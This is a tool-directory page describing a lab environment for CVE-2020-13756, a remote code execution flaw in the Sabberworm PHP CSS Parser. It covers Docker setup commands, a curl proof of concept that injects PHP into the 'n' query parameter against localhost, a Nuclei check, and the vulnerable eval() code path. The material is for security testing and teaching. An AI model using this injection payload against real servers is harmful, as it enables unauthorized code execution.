Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-13756-env — Vulnerable test environment for CVE-2020-13756 (Sabberworm PHP CSS Parser RCE) | Kitploit
Tools/GitHubGitHub/kre80r/cve-2020-13756-env
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubkre80r/cve-2020-13756-env

CVE-2020-13756-env

Vulnerable test environment for CVE-2020-13756 (Sabberworm PHP CSS Parser RCE)

View Repository
19 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-13756 Vulnerable Environment

Vulnerable test environment for CVE-2020-13756 - Sabberworm PHP CSS Parser Remote Code Execution.

Vulnerability Details

FieldValue
CVECVE-2020-13756
ProductSabberworm PHP CSS Parser
Vulnerable Versions< 8.3.1
SeverityCritical (CVSS 9.8)
TypeRemote Code Execution

Quick Start (One-Liner)

root@kitploit:~
docker run -d -p 8080:80 $(docker build -q https://github.com/KrE80r/CVE-2020-13756-env.git)

Or clone and run:

root@kitploit:~
git clone https://github.com/KrE80r/CVE-2020-13756-env.git && cd CVE-2020-13756-env && docker-compose up -d

Manual Setup

root@kitploit:~
# Clone repository
git clone https://github.com/KrE80r/CVE-2020-13756-env.git
cd CVE-2020-13756-env

# Build and run
docker build -t sabberworm-vuln .
docker run -d -p 8080:80 sabberworm-vuln

Verify Vulnerability

root@kitploit:~
# Test RCE - should print "VULN_TEST" in response
curl "http://localhost:8080/?n=100;printf(%22VULN_TEST%22);"

Expected output contains VULN_TEST at the beginning, proving code execution.

Test with Nuclei

root@kitploit:~
nuclei -t CVE-2020-13756.yaml -u http://localhost:8080 -debug

Technical Details

The vulnerability exists in getSelectorsBySpecificity() function which passes unsanitized user input to eval():

root@kitploit:~
// Vulnerable code path
$selectors = $doc->getSelectorsBySpecificity('> ' . $_GET['n']);
// When n=100;printf("test"); the eval() executes: eval('> 100;printf("test");')

References

  • NVD
  • Fix Commit
  • Full Disclosure
  • PacketStorm

Disclaimer

This environment is for authorized security testing only. Do not use against systems without permission.

Author

KrE80r - Security Research

Download Tool